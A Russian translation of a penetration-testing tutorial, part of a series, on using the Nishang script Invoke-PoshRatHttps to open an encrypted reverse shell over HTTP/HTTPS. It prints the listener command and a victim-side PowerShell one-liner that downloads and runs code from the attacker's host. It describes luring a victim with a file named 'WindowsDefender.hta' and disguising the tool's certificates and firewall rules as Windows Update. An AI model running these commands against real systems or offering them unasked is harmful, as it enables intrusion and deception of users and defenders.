В третьей части мы рассмотрим работу с протоколами HTTP/HTTPS. Системные администраторы обычно не особо обращают внимание на трафик через HTTPS, что делает этот протокол перспективным в плане организации шеллов.
Автор: Nikhil SamratAshok Mittal
Предыдущие статьи данного цикла:
В третьей части мы рассмотрим работу с протоколами HTTP/HTTPS. Системные администраторы обычно не особо обращают внимание на трафик через HTTPS, что делает этот протокол перспективным в плане организации шеллов. Я взял за основу скрипт Кейси Смита (@subTee) под названием PoshRat (https://github.com/subTee/PoshRat).
В предыдущих двух частях, когда мы работали через протоколы TCP и UDP, шеллы были незащищенными. Скрипт Invoke-PoshRatHttps помогает организовать защищенный канал связи между злоумышленником и жертвой. Invoke-PoshRatHttps можно взять из папки https://github.com/samratashok/nishang/tree/master/Shells
Invoke-PoshRatHttps требует административных прав в системе злоумышленника для того, чтобы прослушивать порты и установить сертификаты. Команда для установки listener’а (сервера):
PS C:\> Invoke-PoshRatHttp 192.168.254.1 -Port 80 -SSLPort 443
Для корректной работы необходимо указать два порта. Первый – для первоначального соединения. Второй – для зашифрованных коммуникаций.
На машине жертвы необходимо выполнить следующую команду (обратите внимание, что используется протокол HTTP):
PS C:\> Invoke-Expression (New-Object Net.WebClient.DownloadString('http://192.168.254.1/connect')
Пользователя можно обмануть, предложив открыть файл с расширением hta. Однако минус данного подхода в том, что в браузере будут отображаться предупреждения, что снижает шансы на успешную атаку. Жертва должна открыть следующий URL:
https://192.168.254.1/WindowsDefender.hta
Рассмотрим наглядный пример:
Рисунок 1: Организация зашифрованного канала связи
Теперь у нас появился интерактивный зашифрованный обратный шелл.
Если проанализировать трафик при помощи Wireshark, то можно увидеть, что только первоначальное соединение происходит через протокол HTTP. Весь остальной трафик идет по протоколу HTTPS. Первоначальное соединение используется для настройки зашифрованного канала.
Рисунок 2: Анализ трафика через Wireshark
Все собранные пакеты можно скачать по следующей ссылке:
Обратите внимание, что Invoke-PoshRatHttps устанавливает корневые сертификаты с именем "Windows Update Agent" и IP-адресом вашей машины. Входящий трафик приходит на указанные порты. Правила для фаервола именуются "Windows Update HTTPS" и "Windows Update HTTP".
Существует версия и для протокола HTTP (Invoke-PoshRatHttp):
Рисунок 3: Организация шелла через протокол HTTP
Одно из главных преимуществ Invoke-PoshRatHttps в том, что клиентская часть очень маленького размера и может быть использована в связке с большим количеством техник, налагающих ограничения на размер полезной нагрузки.
Скрипт Remove-PoshRat удаляет следы после использования Invoke-PoshRatHttps. Для этого требуется PowerShell с административными привилегиями:
Рисунок 4: Удаление следов после использования Invoke-PoshRatHttps
Ранее я рассказывал о скрипте Invoke-PsGcat, который использует аккаунт Gmail для выполнения команд и запуска скриптов.
Рисунок 5: Организация защищенного соединения при помощи powercat
На видео ниже демонстрируется наглядное использование скрипта Invoke-PoshRatHttps:
И мы тоже не спим, чтобы держать вас в курсе всех угроз